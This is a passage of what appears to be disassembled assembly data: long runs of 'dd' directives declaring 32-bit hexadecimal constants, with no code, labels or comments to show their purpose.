		dd 60889FB8h, 0F4702F1h, 0EE78AE9Bh, 0A8A56460h, 0ECBA4F00h
		dd 6AA62025h, 667F00CBh, 5CE09339h, 0B8AAEB61h,	0F3CF6C40h
		dd 0A8246E03h, 302C663Ch, 0A621D208h, 2F1DCED7h, 8FCAC6B4h
		dd 990F94D6h, 18838951h, 3F6B6930h, 0FF1FA840h,	0F53A8904h
		dd 55786C00h, 0C231AF05h, 656311DFh, 94231433h,	2D24F501h
		dd 9518F405h, 0EA4E88h,	5EAA1624h, 0D71ACD7Bh, 0A8FE0E2Ah
		dd 0D836B73Dh, 0F53702B6h, 0D77AA4CAh, 0D209D0Ch, 2BE5D1C7h
		dd 55736767h, 883A856Ch, 0FF00E323h, 0F31296D9h, 0D703DFEh
		dd 0E0E50219h, 0E8F05015h, 3B6C0E62h, 8C90E8B8h, 2924F904h
		dd 93621405h, 24EE4A20h, 0A4690904h, 8498865Dh,	3107A99Bh
		dd 1F4F917h, 600D9073h,	0E7187E71h, 64011BBDh, 117D98F1h
		dd 5832D1DFh, 9D01D023h, 0A08054A5h, 0F8883718h, 0BAA50095h
		dd 57226866h, 6B50B1EEh, 0E700BFB9h, 7DB39A54h,	0C1E81331h
		dd 0E004BB60h, 9F88938Ch, 3689EC20h, 0C91707CAh, 0F0B84A2Fh
		dd 7E8053C3h, 3C600F00h, 7D5C9CDAh, 0CB8F3039h,	0F91C0548h
		dd 89DD0837h, 99F4B191h, 1C653420h, 2616B431h, 6CE80658h
		dd 0E43069BEh, 0EBD0313Eh, 0B24E039Eh, 392198BDh, 0F0341856h
		dd 0FCED4310h, 407E0F03h, 6B236327h, 0E93FFF84h, 50690CE0h
		dd 690EC2E7h, 14041932h, 7A5061EFh, 9B60BD30h, 7ED1114h
		dd 0CC7A5923h, 0F13FFB10h, 1C5606D4h, 698A66E8h, 4AAF0409h
		dd 0D3003E6h, 8D3900FAh, 40BF867Eh, 0AD0068B1h,	7A8292Ah
		dd 2A804527h, 0F69CF359h, 58BF12CBh, 94781157h,	117C3824h
		dd 0CF28805Bh, 8C2C6EF0h, 1A5DC44h, 79FBCED0h, 302EF51Ch
		dd 8709C368h, 0A2984359h, 20D709ECh, 0F289C4BBh, 1003F6D2h
		dd 0FC64868Bh, 30D34482h, 5111A59Ah, 2C888880h,	0A592FF80h
		dd 504D93Eh, 0EF65189h,	0B8804E96h, 126AD620h, 300FE57h
		dd 0F4B75AA9h, 265E3Ch,	8F6247BBh, 0BC82EC2Bh, 0F8F94C6Ah
		dd 1D74674h, 5D6DF696h,	1980DB60h, 0D6AF8F7Ch, 8700DF0Bh
		dd 90774723h, 801476h, 0C83911D4h, 1378F9D8h, 789822EEh
		dd 9AD10491h, 0B1FC1218h, 82D72806h, 0C81E7BAh,	2AF9736Ch
		dd 0A93B5158h, 3F059095h, 66D68B00h, 5535C9F8h,	91D14891h
		dd 4127718h, 38309B06h,	3CE2426h, 9A48D771h, 0E2986875h
		dd 7D0AFAA8h, 0B0ECE060h, 2B605844h, 6E23F7CFh,	0FDE1104h
		dd 5DCED3A2h, 0CFE47883h, 0D06A8015h, 40CF6BBh,	834EC571h
		dd 380FAAFAh, 3001B22Bh, 17F9E5C8h, 9E8B9450h, 0EEE8C8F4h
		dd 0E97A51C3h, 0BC23787Fh, 7A5A2280h, 0E35CB3ADh, 3B290063h
		dd 0E963E6DFh, 0F7ACA033h, 0D194910Bh, 0A5D118D9h, 49900094h
		dd 91261709h, 661F511Ch, 0EF6B6AC0h, 125DD472h,	98E4CBAh
		dd 0FC094EA4h, 98115C1Fh, 3C4A880h, 0BC622B6Ah,	41CF7D50h
		dd 7B19D2BCh, 4980ACE0h, 2E88BCF0h, 0A580FE9Eh,	0F6BD51AFh
		dd 0F40F4D38h, 3980905Ch, 0BB640811h, 5A7FAE00h, 3CE4A73Dh
		dd 0F9025C7Dh, 39947338h, 0A62CA42Bh, 3DDC2992h, 0AA00984Ch
		dd 2CD59B40h, 850089A7h, 888A283Ah, 0AC0937h, 0B7946EE8h
		dd 89F75183h, 39C5C8DCh, 688FEB9Fh, 3C12C88h, 0C180E160h
		dd 6F628A9Fh, 11A7FCEh,	0A658EEBBh, 9B93DD8h, 90AECF06h
		dd 0E1B5BC82h, 609BC884h, 252E24F2h, 6C96EC05h,	24EB4D00h
		dd 0A1F7F1C9h, 0B01042Dh, 0C3A54B15h, 583CF92Ah, 3A19186Ch
		dd 9108E970h, 18D0D1A0h, 0BB610080h, 0B16C1E08h, 0F4BB0BE8h
		dd 0F4C01079h, 64060F6Ch, 8E928DEDh, 0C0EF88BCh, 8CD6D2AAh
		dd 722D103h, 24C16ED7h,	1278E8F0h, 7BF89063h, 3C050F24h
		dd 3E36175Fh, 4BD4FC8Ch, 47184495h, 86391FEBh, 0D5C308DFh
		dd 0C7B1310h, 0C8388BECh, 14B3C099h, 880A7372h,	740A8E6Ah
		dd 0EE475Ch, 7E24888Fh,	9EA744Ah, 2FFD636Eh, 1D22CCA0h
		dd 0B8076A28h, 25D3DB77h, 0E703F981h, 64088055h, 0A59CC0D5h
		dd 98468057h, 0FD003422h, 0AC73A594h, 4B07105h,	3ACB5E90h
		dd 96D4B4D3h, 7B0F2900h, 7730DDE4h, 6094A2E6h, 6009F903h
		dd 6183794Bh, 0B0A1AE0Bh, 9273C002h, 18935EF8h,	0F5CF2D00h
		dd 99B7D46Eh, 0D5A460DCh, 0C60752CEh, 0AB194F80h, 0CAB70701h
		dd 85028428h, 0D3CF317Dh, 86B1DCA4h, 70B70F8h, 24258F6Dh
		dd 2E3505CCh, 0D1237Ch,	10F78533h, 68CBC023h, 0A5B8141Bh
		dd 6195C4D8h, 5E807618h, 0E80D87DDh, 21C28E7Eh,	409CF759h
		dd 80DA8F48h, 1C902425h, 5319E846h, 6348287Ah, 5C20803Ch
		dd 0BE67Ah, 1E715284h, 67EF8879h, 82698067h, 0E89010D9h
		dd 8938947Ah, 42005E4h,	0DBA70AF4h, 0D0E3301Ch,	21835CFh
		dd 1ED4CB1h, 0A0F56709h, 3344C471h, 0B8345363h,	6F30E3F2h
		dd 366200D0h, 50C35C8h,	914DA187h, 7A00364h, 3CE1AACFh
		dd 7000A511h, 0F9EB6786h, 918A1E0h, 9188D257h, 5DFB0F73h
		dd 0BD0B5180h, 8ECC5424h, 0C0378888h, 0E893104Fh, 2D31BA00h
		dd 87FEB54Ah, 0F4FB0167h, 0CB08E786h, 0BB7883DFh, 2A8F8CBAh
		dd 1B905070h, 51EC08F9h, 1D68023h, 8056A5A3h, 81946390h
		dd 1CA59BFAh, 0B441CFD5h, 9900C7DBh, 69D38361h,	94C81C8Bh
		dd 0FEE00AC7h, 17D0986h, 0FF5371D6h, 88DB8308h,	6A8CB161h
		dd 91465C40h, 0D4944C58h, 0DD773908h, 86661E01h, 0D7F07BCDh
		dd 501AE406h, 0B98E8F0h, 0D6CB1989h, 3211C01Fh,	0C6DA1B80h
		dd 68715708h, 481CB432h, 0A59830D1h, 0F8805311h, 0C1813188h
		dd 1F77A590h, 0BFD49EF1h, 2CEF59BDh, 9F64903h, 0E905EC6Ch
		dd 0E26B3202h, 0ED23C03Ah, 197E0C00h, 23D84C7h,	6BCE10D4h
		dd 0CE45D99h, 0CF59E20h, 309D4BC4h, 0D6126918h,	0F49BDFFCh
		dd 0FD60B88Eh, 710D0213h, 148C842Eh, 13FF3208h,	23D02F93h
		dd 0C9490AD2h, 0D09B0BF0h, 34645C67h, 0D01BBE61h, 180365D8h
		dd 63F5F45Eh, 4B6948D5h, 0EC6D1200h, 0C2697440h, 2EB30400h
		dd 26351110h, 44493A20h, 0E4E8598Fh, 6B1559D8h,	19A95F00h
		dd 3107982Fh, 32960479h, 0A0C8B985h, 0AE049F84h, 66897F91h
		dd 0BAB0A0F6h, 504E82Bh, 137B0728h, 0B2980C89h,	81AB8909h
		dd 5A654500h, 60B5484Fh, 579702A8h, 6605F336h, 12C0F8EDh
		dd 4281EF8h, 0C14F4508h, 8E8CC172h, 636A00DFh, 3B5A5EB5h
		dd 19A2394h, 0A218304Ah, 6453C1DFh, 51148344h, 99C8ACBh
		dd 488682D0h, 39E6B874h, 7F8E87CEh, 4BC25C88h, 40892D7Dh
		dd 0DDC304CDh, 206380A7h, 7A922D58h, 63EBD0A4h,	7F9DE854h
		dd 93448C40h, 0B07AF627h, 0BF010B7Ch, 0C849AB7Bh, 929185Ah
		dd 346EF9CFh, 0A0805C45h, 338CCED1h, 99321EF9h,	3A89536Bh
		dd 1C2F23E4h, 7DEFCB26h, 195BB810h, 164F8703h, 58E30D0Bh
		dd 2F2F5DB9h, 0E8EB9160h, 0F155F712h, 3C056302h, 7054F3C1h
		dd 8800F92Fh, 0BB63B243h, 7ECF92h, 6403F33h, 0AB598386h
		dd 80F8944Ch, 0DB2B009h, 4DC51279h, 41CC0F3h, 0C248E6D7h
		dd 736E0434h, 0F2013E9Dh
		dd 25F896AFh, 92D46840h, 9823543Ah, 0E8C22E3Ah,	98EC408h
		dd 0ECEDDF89h, 661F40C1h, 0BC0263F4h, 8CE3670Ch, 0EC01D129h
		dd 71913BF1h, 0DFDBF8BBh, 216C8307h, 4B6E1338h,	6CC04125h
		dd 7C730EF6h, 0E4982968h, 0AB85006h, 0EE18004Eh, 66F9F3D7h
		dd 3D62E94Bh, 0E801DB38h, 407BBEBCh, 6B386CE7h,	8A944851h
		dd 0F3C09496h, 4C052F24h, 4CE040C4h, 0CC0024E8h, 8C6463FFh
		dd 28BA025Eh, 598A5F4h,	0E49D0D2Ah, 88C4CFE7h, 1D9AC0D9h
		dd 365C8610h, 0F2EA009Ch, 7587B76Ch, 0F06334EFh, 10F06F89h
		dd 410F774h, 10A07FABh,	0DE009D3Fh, 0A9C22A80h,	58BB8Dh
		dd 7F431628h, 0AD513AE3h, 5B055D00h, 53297782h,	51E0E2BAh
		dd 0B001BCDFh, 406CF7BCh, 8CDAF8h, 4589F8B4h, 1FBC4E0Ah
		dd 2A2B102h, 401D3633h,	74B4D66Eh, 0F0D3030Eh, 0D4606CEDh
		dd 0CD3F4100h, 0ACD9EE5Eh, 0A28C00E6h, 0F5E10ABDh, 0CF1EDE74h
		dd 47E5680Eh, 60EF6474h, 3203B90h, 6A4AEE9Dh, 2CA07E82h
		dd 0EF040A87h, 54E5BFCAh, 0ECD770C5h, 411549D0h, 49D46B0Dh
		dd 0B180E437h, 6EEB7992h, 7C2CED63h, 0B6743842h, 0DA467C7Ch
		dd 0FAB17B00h, 7AA36986h, 66B6F809h, 60D88B7Fh,	1398E8D8h
		dd 0C2F7117Bh, 0B9E309A0h, 0DA67A100h, 745104F2h, 8018B961h
		dd 0B86DCA4h, 2F0046B0h, 0BC4AF431h, 9B58CAh, 69D2E98Dh
		dd 532BD3D7h, 0C566F605h, 4D596F2h, 9F23C42Fh, 93784D00h
		dd 0F5E8B2Eh, 332F2957h, 675FB040h, 0AD01691Fh,	0F9E07DFAh
		dd 9850C617h, 78D6C1Eh,	0DE5AAFF3h, 581D0950h, 9B80E311h
		dd 0B47D7005h, 729E203h, 0CD9C2D7h, 0BF95550h, 0E83C8BA9h
		dd 0E69C540Eh, 5CF37700h, 0FEFFAB50h, 11603BDCh, 55D9A0F8h
		dd 12905B9Fh, 0F274B2F4h, 5D813099h, 0E1B5CF02h, 0C80AD706h
		dd 0B930070Ch, 1890D178h, 44CA0032h, 0AF40B1A5h, 50041A81h
		dd 0A9F35180h, 7D8C0C80h, 5C40B6E3h, 773246h, 5884779Bh
		dd 8798860Fh, 0F08D79C7h, 214695C0h, 1E940311h,	32297CF9h
		dd 4CCCD6E8h, 0A9B70614h, 8C99B868h, 85B4DB0Eh,	5B592473h
		dd 0D235A882h, 5EA4B44Ch, 230E2F46h, 668A6C0Fh,	93465ED8h
		dd 0D4D17902h, 20408D6Eh, 2680E17Eh, 2F884A98h,	2C23E8h
		dd 7361D753h, 87054FC1h, 1D25EEB1h, 9188E0CEh, 11A0C7C0h
		dd 0D05404B6h, 0AD610659h, 532A04B4h, 7384B8E9h, 1015CDC3h
		dd 1F9416C0h, 3DD67378h, 5F00B07Bh, 5509DC9Fh, 154A8705h
		dd 0E08DB016h, 0BC6E2Ah, 81483C4Eh, 2FCF06D0h, 19C4D2h
		dd 0BF01895h, 0FC052824h, 31B0A81Ch, 0F5BD2402h, 0D854B985h
		dd 7C821F68h, 34486761h, 3B00F945h, 60D79E92h, 2AA73EEh
		dd 8DFC081h, 0AC60CDBFh, 374B01F6h, 9F23842Fh, 8575BB01h
		dd 0BACC3103h, 0E4BF2458h, 80F94008h, 840002A5h, 0FBE8A306h
		dd 0EC1E6F98h, 5B950012h, 463AFFB5h, 0EC2EB980h, 0E4A06086h
		dd 77F9BA20h, 0BD830B39h, 3411E61Bh, 52E185Dh, 0DC6EF2CFh
		dd 68CBB7h, 89CED6ABh, 0BEDE4Bh, 8DB3265h, 5D736CA8h, 82E40650h
		dd 0F51DCE05h, 88412730h, 908F5983h, 2EA4987Ch,	9023D0h
		dd 0C2A29FCBh, 2F1CEDF6h, 63480A41h, 4B083E8h, 0D4005085h
		dd 0ABD072BAh, 47343EFh, 0EECF07A5h, 9C88CDDh, 17EC685Dh
		dd 2C85B3E5h, 0EF23AC3Ah, 99C04C00h, 1291F7BAh,	0F69270A6h
		dd 9803B054h, 0B0440057h, 0B86A5B22h, 4894E910h, 3447C53Ah
		dd 0F00ACBE4h, 0C130DEE0h, 6B861654h, 13281EBAh, 808305CCh
		dd 0A2885226h, 0E1DB03DCh, 0CFE04813h, 5480BE30h, 0E3C11D86h
		dd 0BCF3C29Ah, 68F2D049h, 95B16C22h, 0F0006437h, 0EF4B4ECh
		dd 18C188E3h, 2E0204F6h, 62EF73B7h, 47204A78h, 60984444h
		dd 0FF6041F5h, 6607B180h, 0DFB66EAAh, 87AB8304h, 98F2D564h
		dd 79A4E300h, 60F940FAh, 0E462A800h, 6B7F1918h,	9B430130h
		dd 0E83CCDB2h, 0D3E4286Ch, 94C8148Ah, 7BBA20CEh, 90B4FBB2h
		dd 0F8275498h, 0B7192F89h, 0B845080Bh, 0C6031E4h, 0AE09BE72h
		dd 0A17ECF05h, 662D7DE8h, 0B46B2Fh, 5C7D56A9h, 2A6CC235h
		dd 0D49C0Dh, 31ED0632h,	8748CEADh, 0E1B9750Fh, 0CD2B237Eh
		dd 68AE98C1h, 0CEDD2960h, 18307164h, 42E40004h,	73D9F372h
		dd 0C50C12C0h, 8083FC3Ah, 0DE2EB0F9h, 0E7694B31h, 39504C48h
		dd 96F11891h, 3013918h,	0DF872BCAh, 41C22D62h, 58E00ECCh
		dd 0A06F5806h, 7821078Eh, 97A866EFh, 4421E341h,	0B3D87397h
		dd 88DD4EDCh, 650344B8h, 0AD16CDA6h, 2B5CE049h,	76CF24Ch
		dd 393D3F02h, 729706Bh,	0A826737Dh, 465E9866h, 0D8FF0093h
		dd 4D7720Dh, 9C1924BFh,	63200200h, 0D8612C29h, 96C7C892h
		dd 465EC0BEh, 0A0730293h, 8281F5F0h, 0A0900C80h, 3706CA88h
		dd 6C8300D7h, 0E77506Dh, 3B078FD1h, 0FAB0FB22h,	4E8B490Ch
		dd 0BFF038F6h, 68B0C255h, 8CDABCA8h, 7BE843A3h,	7F0193BFh
		dd 0F9C75844h, 63DD8E3Ah, 0D7BC3840h, 9DA5E76h,	44E8614Ch
		dd 275CFF2h, 95CB54B9h,	809F910Ch, 0B170F220h, 0D9C50721h
		dd 448356BCh, 0C024FC78h, 0F99EC749h, 0B70900FAh, 0F8F0687Fh
		dd 86019106h, 0B2225628h, 0C07CA718h, 0F1933913h, 0BCA03C84h
		dd 0F7008C37h, 0DC6B7318h, 3912D863h, 7BD4B8h, 4A95D583h
		dd 0FBF63BACh, 75D98213h, 0EFC8788Bh, 34F99BC0h, 0C079580Eh
		dd 0EE56D708h, 0C37E8500h, 6F98B203h, 8BF3D09Dh, 0C390C818h
		dd 999834E3h, 0C6004495h, 0BBBC0E70h, 9828577h,	3F9A3ACh
		dd 0D900C452h, 287D579Ah, 5D256B6Eh, 0BB2C5826h, 0E07C2661h
		dd 0ACF3782Dh, 3C03770Eh, 2F176093h, 0BB1844h, 0C688CE1h
		dd 0F105BF1Eh, 2B6A3B0Bh, 18D02180h, 0AC04C207h, 0B51F809Ch
		dd 2D29986h, 7BD183B1h,	0ECE40AF9h, 14F26328h, 0DFC77900h
		dd 0ED1AC0BCh, 38314CB4h, 0CB012958h, 0F3B28D63h, 2F2E99h
		dd 8239D723h, 7B0696F3h, 71DCD992h, 0C518D9h, 0FD37399Ah
		dd 0B17577AAh, 1D736E0Bh, 0D7B4E025h, 0CDF4046h, 1F8BEC2Dh
		dd 8E96116Ch, 0D37A005Eh, 6DAB8A4h, 8B070255h, 28417073h
		dd 403DBFC0h, 4B2F6CC6h, 1BD40495h, 21FE5482h, 0E054253Eh
		dd 0A6027B90h, 0F7245156h, 79FCD955h, 3EA418E8h, 6E04DDDEh
		dd 0BD3A05F9h, 507C3580h, 2EF2ACA2h, 9E2330h, 0D5FB6724h
		dd 18A4D7A2h, 5F59D0C4h, 88858204h, 0C1F83424h,	3C882E5Bh
		dd 0CAD40049h, 0BF013A24h, 0C0F99EF3h, 0FD0B7D87h, 9DE325BDh
		dd 80961148h, 0BB8AA21Eh, 13397960h, 13317D95h,	0EC24C4D2h
		dd 81AE8034h, 8AA43h, 0BCC9A84Eh, 0EE1302B8h, 6C1F4500h
		dd 0E0805388h, 0DC70B6CCh, 1EC0D904h, 10C58E6Ch, 0D2F2C0A2h
		dd 12B2E630h, 0C0CB397Eh, 88BA4B48h, 0D0528B5Eh, 37E06CA6h
		dd 0CD240B81h, 6440E4E3h, 21DF88h, 450C679Fh, 0B3E45B13h
		dd 0BA293F1Dh, 0FB7B3000h, 37B9807Ch, 0D580AAD4h, 5EF8E2F3h
		dd 0B73FF06Eh, 58901580h, 0D6C18603h, 0F174E4EBh, 46520BEh
		dd 22E66882h, 48D36655h, 0C8DFF759h, 30B14B73h,	0AF589A01h
		dd 16B7F556h, 71E89118h, 2DDE189Ah, 5C82C71Eh, 0D900CA93h
		dd 0BE4B75Ah, 83F20E4Bh, 939E18E5h, 330238A0h, 316727FFh
		dd 0E76840C8h, 30B4A297h, 76FCD48Dh, 4A00EE46h,	3F643CA2h
		dd 857AA912h, 0E4A00F73h, 3825EF67h, 644CE7E6h,	1F016033h
		dd 0CB4EC41h, 8466E80Eh, 0B80159E1h, 3FA7D12Fh,	1C7D2ACCh
		dd 849F2025h, 1E8F9411h, 0A8084AA0h, 0BA17BDC0h, 0FC88EB80h
		dd 9D3092CDh
		dd 7A094CB7h, 9B188732h, 86630C68h, 0EDEC2021h,	0CCC4615Ah
		dd 9023603Bh, 78794E02h, 0AE7B60EFh, 0DA330476h, 0F3E03A63h
		dd 30E3B26Ch, 0A6027249h, 680F145h, 81EFC1CBh, 97DDCC78h
		dd 21C2773h, 0F85CFEB7h, 2A605944h, 6E29F6CFh, 0A7C7943Ch
		dd 0A379CE50h, 0F71010FFh, 610908E7h, 680425FDh, 0CDD9403Fh
		dd 0BC304806h, 0E465B0h, 4F59FB4Ch, 0B4035FB9h,	9F93E947h
		dd 65758002h, 17567E51h, 91F9C15Dh, 1E4819Ch, 207A7585h
		dd 9C5C404Ch, 32C8A400h, 2F557681h, 742100FEh, 0E5E7BD28h
		dd 485E5CFAh, 62E8B431h, 0E4182C22h, 0F1CB912Dh, 0C3AD800h
		dd 31EE5CE7h, 0FA7B2Ah,	48BCF952h, 1CA3C0E9h, 0D085E80Bh
		dd 5014015Dh, 5C604B83h, 9DF202CDh, 551B9E77h, 0A7783C53h
		dd 751512F1h, 320F296h,	1B451287h, 683998EFh, 373F02A8h
		dd 0B1979C2Fh, 79E4DEC1h, 5C86E81Ch, 407E8857h,	38183B5Ah
		dd 0BB99950Dh, 2EF300C3h, 4DE2E492h, 54EE43D9h,	33325800h
		dd 841A6CF6h, 9D6B186Dh, 48514023h, 9C90B216h, 0B81F44D0h
		dd 38DA7999h, 0CC4FF9F5h, 0AA413CC0h, 587039F0h, 0DDBC9492h
		dd 0ACF4028Ch, 42751EA5h, 0C2400C54h, 4EEDBFBh,	7D2B8599h
		dd 4BE4FCF6h, 6710182Fh, 75EC139h, 9C2446CFh, 78910Dh
		dd 0BDBA3417h, 83007894h, 30459354h, 0B2AD6B6Eh, 1F510B28h
		dd 5C1D8670h, 42839511h, 7AF8A94Ch, 7C0546A8h, 0EF63D3DDh
		dd 7710BDh, 588E90AFh, 0ABE51BBFh, 0C32D3B1Ch, 0A1AA4ECFh
		dd 9BE95C29h, 121E6120h, 93CD4B8h, 5C6D1554h, 7630C3C0h
		dd 598A02E7h, 171E8288h, 95EB147Ch, 82929150h, 0E1318535h
		dd 0D4208A98h, 609041B6h, 38243CA0h, 4839247Dh,	0A0A62F18h
		dd 0F0BA5AF8h, 0B5F47867h, 52F528A4h, 0C8B4E413h, 99660B1Eh
		dd 0C58A6AEh, 554B7B5h,	0E23E820Fh, 7D061204h, 0DDC848CBh
		dd 607454C0h, 866D0502h, 0B8E5204Ah, 7AC09E5Ch,	2E0F2C2Ah
		dd 5E765Dh, 52BEF6F9h, 9BC8CD8Ch, 0B8066E0Fh, 97829B1h
		dd 0C780CD68h, 6E13B178h, 5A6C206Ah, 4BE0DD41h,	813F4F69h
		dd 3E0A8E34h, 0EB236C2Fh, 8A7D0D07h, 0A8A5A190h, 3C480427h
		dd 857FD183h, 88348E60h, 2E9AC034h, 600508Dh, 0C9079FE7h
		dd 4F6CB983h, 0C32C44ACh, 0E8F00136h, 486BFC49h, 83832384h
		dd 3C84D351h, 0CF5B4F30h, 0C0948880h, 20E8B7F8h, 60CCE112h
		dd 67FC820h, 0BEB001D6h, 0F4B7B2C8h, 8819C04Bh,	0F9A7EA0Eh
		dd 0B8CE7264h, 0D2C03388h, 23277CFh, 7B6E236Fh,	0D48536C9h
		dd 3A30E0B6h, 28AF8488h, 0B6E8CC0Ah, 3FB4240Ch,	0FCB4BC20h
		dd 6421C44h, 8CCA56CFh,	0E5E96CD4h, 609964DCh, 772A8322h
		dd 92D24CEh, 77828E24h,	0A07366EBh, 14D4F58h, 3BF3BF73h
		dd 0CEDDFDCEh, 53705873h, 0C2D4CE9h, 3BE7D710h,	0E9F82F57h
		dd 799F84A4h, 939B1E4h,	7807FCB8h, 0DE8090BFh, 0B76105AFh
		dd 0ADD12474h, 0A1780940h, 0F507A09h, 0B0610377h, 40B1983Ch
		dd 0B288FE0Ch, 2AB903EAh, 0CD095EE2h, 84C91ECAh, 6AD00793h
		dd 5ABF2FB8h, 0F24CAE9h, 5DD7FC70h, 0A55AF507h,	7EC32781h
		dd 0AA5B1180h, 9D0415B8h, 0FC57110Ch, 0C07308ACh, 0B8A2BD21h
		dd 2106263Ch, 75238E24h, 567B0118h, 2B637CF2h, 0C3E8CC03h
		dd 50E66201h, 0F0D87EA6h, 642ADCh, 5ED1EC1Ah, 5B5F77B8h
		dd 0F818B218h, 33157040h, 2F303E12h, 17766CF0h,	21EF08CCh
		dd 3E0A0034h, 0DFB7A70Ch, 6FB031D5h, 712D4080h,	815E4F00h
		dd 50B41760h, 4DBD0066h, 7EB88205h, 0E303FEA3h,	10074BF0h
		dd 0EC62E084h, 4418C06Ch, 5EDDA17Bh, 7AF568C0h,	33031B6h
		dd 0F14CB7E4h, 830BFDBh, 0AE1D2155h, 0D9390E31h, 0A4600ADDh
		dd 456504DEh, 249B7B29h, 2A31B801h, 5318A7E4h, 0B01788h
		dd 0D9BC5431h, 6C84360h, 63C9C414h, 0DEFC0A90h,	70BEBC7Dh
		dd 3B645538h, 0EFC06088h, 21A4AB5h, 8A3B0965h, 94A3F4F8h
		dd 6178E2FCh, 0F8F9C3Ch, 29B0BE9h, 0A0722309h, 9E2C5098h
		dd 48F703BAh, 30EF7F77h, 21690830h, 1E9E24ADh, 0AAC360h
		dd 35C69C19h, 2A897623h, 1E20ED0h, 2962A6E6h, 0F819D9FAh
		dd 2F07EC13h, 12CDF9A1h, 807DC541h, 1FFA091h, 8439DC53h
		dd 7FEC5CADh, 120F77F7h, 8B3808Eh, 0A7C02648h, 460414B8h
		dd 37422B5h, 49B89FBCh,	869056DAh, 8914F97Ch, 9EC4BD0h
		dd 4030638h, 1160B134h,	7E23A73Eh, 0E41127h, 403E0933h
		dd 3D3AB6C1h, 5C3081F8h, 0D5CCD951h, 189EF4A1h,	2B3108B9h
		dd 54C48FE4h, 31B11840h, 0FF0A3C7Ch, 0C491516Eh, 615C8A06h
		dd 81C33058h, 65F6E9D1h, 18B47B3Fh, 0DA4162DDh,	79CF00EAh
		dd 0DCB0A622h, 6D008F19h, 8B7FFB91h, 8870DBFCh,	0D0A87724h
		dd 0EB00A86Dh, 421E25CEh, 0BB3CF3h, 6EF09A8Ah, 0DEA612E6h
		dd 0CC06D0F1h, 4182C330h, 0B052D515h, 0EC531FD7h, 0A030D410h
		dd 1301AB23h, 177EA93Eh, 3588E218h, 0BE3E060Bh,	597FC65Dh
		dd 30CC43F9h, 4DF0ED4h,	64801748h, 9308F59Ah, 9E2B014Ch
		dd 1840F7B9h, 23AE885Ch, 0A0E79E00h, 0A2AB0E55h, 0B56B00FCh
		dd 6392DA8h, 0E418560Bh, 0A1B84C7Fh, 0F4AE24C6h, 0AD10322Ch
		dd 3E886493h, 7467EABh,	3700ED22h, 0B083E0Dh, 9FF3384h
		dd 74BCE87Fh, 0EC60648Fh, 779BA6E1h, 0C030FAB8h, 30FE185Dh
		dd 462898F2h, 31BA029Dh, 3197E42Ch, 0B219104Fh,	0C5230031h
		dd 45F7F0B9h, 0B7F00C0Fh, 0A1BC0609h, 65088351h, 5718262h
		dd 0F080197Bh, 7CC8D32Fh, 5648C999h, 0EC4448F8h, 39018C54h
		dd 7EE70A46h, 0CC46B1A6h, 747511C8h, 84C31561h,	0A75100E8h
		dd 77B5DD27h, 187AF6DCh, 29657875h, 6C60FF61h, 0AF8C8EA9h
		dd 20B89881h, 3A04830Ch, 5B7F75ADh, 0F39C1440h,	0EC261F69h
		dd 4676C890h, 58757B49h, 0E8806705h, 0C80175F0h, 4AA5BB66h
		dd 0E955A040h, 48A258CDh, 470BC10h, 8ECC8FB4h, 6C221082h
		dd 0B8A3053Ch, 8E950410h, 9BC00084h, 30E2F1B8h,	0DC9F4CEAh
		dd 6849910h, 4FA4D8CCh,	0D1B09960h, 0F11876h, 0CDA7D7D3h
		dd 8482F086h, 0ED4CE8E0h, 62770494h, 1CD14DD0h,	23026DDBh
		dd 76F80C44h, 0FC7AC000h, 0F0146454h, 1280B189h, 61F4418Ah
		dd 96F6B401h, 0C2F9A30h, 803D6423h, 5ED581B1h, 529711Fh
		dd 0D869FA2Ch, 2FA8955Fh, 552340h, 0A6351E67h, 6A03510Dh
		dd 0B4188C96h, 0EBDCFB81h, 0FBB10271h, 7788D805h, 2986B082h
		dd 109A68E1h, 502CA1ACh, 48538E11h, 4854D0ADh, 82578847h
		dd 0A0A92474h, 39A9F0h,	0EE1877D1h, 1C20CE00h, 518EF65Bh
		dd 7C244871h, 0E8AD0680h, 0B40B37BBh, 602A2D8h,	99717CE0h
		dd 186FD174h, 0F7AE06DCh, 0C0755089h, 3D241118h, 70C4F971h
		dd 0C78E129Ah, 48D4243Bh, 2DC00AF0h, 46F7B39Eh,	15B2230h
		dd 0A09E25B0h, 5059DEA8h, 84FD46D0h, 0AB09493Dh, 4759F4F3h
		dd 20F7AD18h, 4940B998h, 1A7E0176h, 8AB2CC07h, 56472EFh
		dd 1836DF53h, 40D0080Fh, 7F89A4Dh, 81F9169Fh, 0A828409Ch
		dd 0D6FC6D3Eh, 60F9B96Ch, 0CC6C40DDh, 53FAC84Ch, 3077E2C8h
		dd 0C63FEEC0h, 0CC358726h, 2D5056A0h, 0DD9031h,	0CF22565h
		dd 453F76Ch, 0C0116D26h, 0B380A011h, 0BFE42D31h, 1A008CA7h
		dd 52ED31ABh, 0DDFE1806h, 16E5A189h, 44F4C114h,	8C4FAC28h
		dd 88DD0407h, 7F700A6Fh, 0B846A0BBh, 0E4C428CCh, 28EB4CA2h
		dd 9B450E12h, 5A3B805Ch, 606DA229h, 0B7C65893h,	1E0A9F8Ch
		dd 0B86094D0h, 8375BA06h
		dd 0C2EF0220h, 0F2CA8C7Bh, 9E80E8A2h, 75448447h, 3E7E9060h
		dd 4F991B01h, 7FC3B614h, 68A22473h, 59F48C31h, 8EBA0C6Fh
		dd 2590BDC4h, 0B8A8048Ch, 62AD0413h, 0AB2872h, 974E4BB8h
		dd 2E00F268h, 6643828Eh, 0A8CEC928h, 159B0B8Ch,	0A04C7775h
		dd 4186C218h, 0A80088A4h, 509E5D6Eh, 1709994Eh,	2023125Eh
		dd 3EFC30E4h, 0FB3A3D16h, 5800021Ch, 76BD9AFh, 0BF4200F4h
		dd 8FB34C62h, 90E06468h, 4AAC085Ch, 0B7447C32h,	939100F0h
		dd 0CEE459A6h, 89F37C09h, 92A81365h, 17B1015Fh,	0FAE850F9h
		dd 721E8616h, 0ACAA1C0h, 0B705E6F4h, 4D1EB2Bh, 382080D0h
		dd 808954C4h, 0E5180058h, 0A3DFEA2Ah, 84010D03h, 0F979EFA9h
		dd 0E4202CD0h, 9774025h, 0F18A3C06h, 25705D33h,	9C21DEFCh
		dd 0EF19BB5Eh, 0E806287Ch, 5F7F7633h, 46115D1h,	3F09A86Fh
		dd 0FC617862h, 4C2040F4h, 564119EBh, 0C8C04C5Eh, 0B574E5FEh
		dd 7DF9BD02h, 8041C0F0h, 6A77AC94h, 0DC664DD8h,	0F1193C09h
		dd 4611EC1Dh, 12391180h, 0D7018C13h, 860553C5h,	80229B33h
		dd 4B3069F2h, 0CE4B7h, 667D096Ah, 29159589h, 581C5D78h
